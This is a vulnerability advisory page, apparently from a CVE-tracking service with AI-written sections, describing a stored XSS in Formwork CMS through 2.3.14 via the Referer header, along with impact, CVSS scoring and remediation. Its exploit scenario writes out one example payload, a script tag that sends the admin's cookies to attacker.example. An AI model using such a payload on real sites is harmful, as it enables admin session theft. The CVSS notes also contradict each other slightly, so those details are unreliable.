Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend HTTP request with malicious Referer header
-
DeliveryVisit tracker stores unescaped host value
-
ExploitAdmin opens Statistics panel
-
ExecutionStored payload executes in admin browser
-
ImpactSession token or credentials exfiltrated
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires two conditions: first, that the target site runs Formwork through 2.3.14 with visit tracking enabled (the feature must be active and accumulating Referer data); second, that an administrator navigates to the Statistics panel after the malicious request is stored. The attack itself requires no authentication - any unauthenticated HTTP client can send the crafted Referer header. Exploitation is limited by the passive trigger: the attacker cannot force an administrator to view the Statistics panel and must wait for routine admin activity. Non-default deployments where the Statistics panel is disabled or visit tracking is turned off are not affected. There is no indication this requires a specific operating system, PHP version, or server configuration beyond a default Formwork installation. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P) correctly captures that exploitation is trivially automatable - an attacker needs only to send a single crafted HTTP request to any page of the target site with no authentication. The sole friction is UI:P (passive user interaction): an administrator must open the Statistics panel, which is routine behavior. CVSS 4.0 scores this at 5.3 (Medium), reflecting the indirect path through admin interaction and limited per-impact ratings (VC:L/VI:L). Real-world risk is meaningfully higher than the numeric score implies: stored XSS against an admin panel is a standard pivot to account takeover, credential exfiltration, or backdoor installation via the CMS editor. Formwork is a niche product with a small deployment footprint, which limits aggregate exposure. No KEV listing and no confirmed POC reduce urgency somewhat, but the attack requires zero skill - crafting a Referer header is trivial with curl. EPSS data is not provided; given product obscurity, exploitation probability is likely low in absolute terms. |
| Exploit ScenarioDerived | An attacker identifies a Formwork-powered site and sends a single HTTP GET request to any public page with a Referer header containing a crafted payload such as a script tag or event-handler attribute in the host field - for example, Referer: http://"><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>/. Formwork's visit tracker stores this unescaped value. The next time any administrator opens the Statistics panel, the injected script executes in their browser session, exfiltrating session cookies or admin credentials to the attacker. No authentication, brute force, or interaction with the victim beyond their routine panel use is required. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 29, 2026
Stored XSS in Formwork through 2.3.14 allows unauthenticated remote attackers to inject persistent malicious markup into the Statistics panel by crafting HTTP requests with malicious Referer headers. The visit-tracking subsystem records the Referer host value without HTML escaping, storing attacker-controlled content in the statistics data. When an administrator opens the Statistics panel, the injected payload executes in their browser, enabling session hijacking, credential theft, or further compromise of the admin interface. No public exploit code or CISA KEV listing is identified at time of analysis.
RemediationAI
The primary remediation is to upgrade Formwork beyond version 2.3.14; the exact patched release version is not independently confirmed from the available reference data - the upstream fix is traceable to GitHub commit 89d1908572e55809d6ee1771f59a816494c29573, but a tagged release version should be verified via the official advisory at https://github.com/getformwork/formwork/security/advisories/GHSA-hpgc-57cm-66pc before deploying. As a compensating control where immediate upgrade is not possible, administrators can restrict access to the Statistics panel to trusted IP ranges via web server configuration (e.g., nginx allow/deny directives or Apache mod_authz_host), which prevents the injected payload from reaching an admin browser even if malicious Referer entries are stored. Additionally, clearing visit-tracking statistics data removes any already-stored payloads. Web application firewall rules that strip or sanitize inbound Referer headers are a secondary option but carry a trade-off of breaking legitimate analytics data.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Formwork is an open-source PHP flat-file CMS (cpe:2.3:a:getformwork:formwork:*:*:*:*:*:*:*:*). Its visit-tracking feature passively logs HTTP request metadata - including the Referer header - to power the Statistics panel in the admin UI. The vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation) occurs in panel/views/statistics/index.php, where the host portion of the Referer header is rendered directly into the HTML without encoding. Because storage happens at request time and rendering happens later in a privileged context, this is a stored (persistent) XSS rather than a reflected variant, amplifying impact: a single malicious request affects every administrator who subsequently views the Statistics panel until the data is cleared.
Know when Formwork gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Network vector, no privileges, low complexity; scope changes because payload executes in admin browser context; UI:R required since admin must view Statistics panel.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Formwork through 2.3.14 contains a stored cross-site scripting vulnerability in visit tracking that records the Referer header host unescaped. Unauthenticated attackers can craft malicious Referer headers to inject markup that executes in administrator browsers when viewing the Statistics panel.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Formwork is a flat file-based Content Management System (CMS). Rated medium severity (CVSS 6.5), this vulnerability is r
Formwork CMS versions 2.0.0 through 2.3.3 fail to validate user privileges during account creation, allowing authenticat
Formwork is a flat file-based Content Management System (CMS). Rated medium severity (CVSS 4.8), this vulnerability is r
Stored cross-site scripting in the Formwork PHP content management system (versions up to and including 2.3.12) lets an
A stored cross-site scripting (XSS) vulnerability in the component /formwork/panel/dashboard of Formwork v1.12.1 allows
EUVD-2026-68106
GHSA-3p45-hx6j-c7f5
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB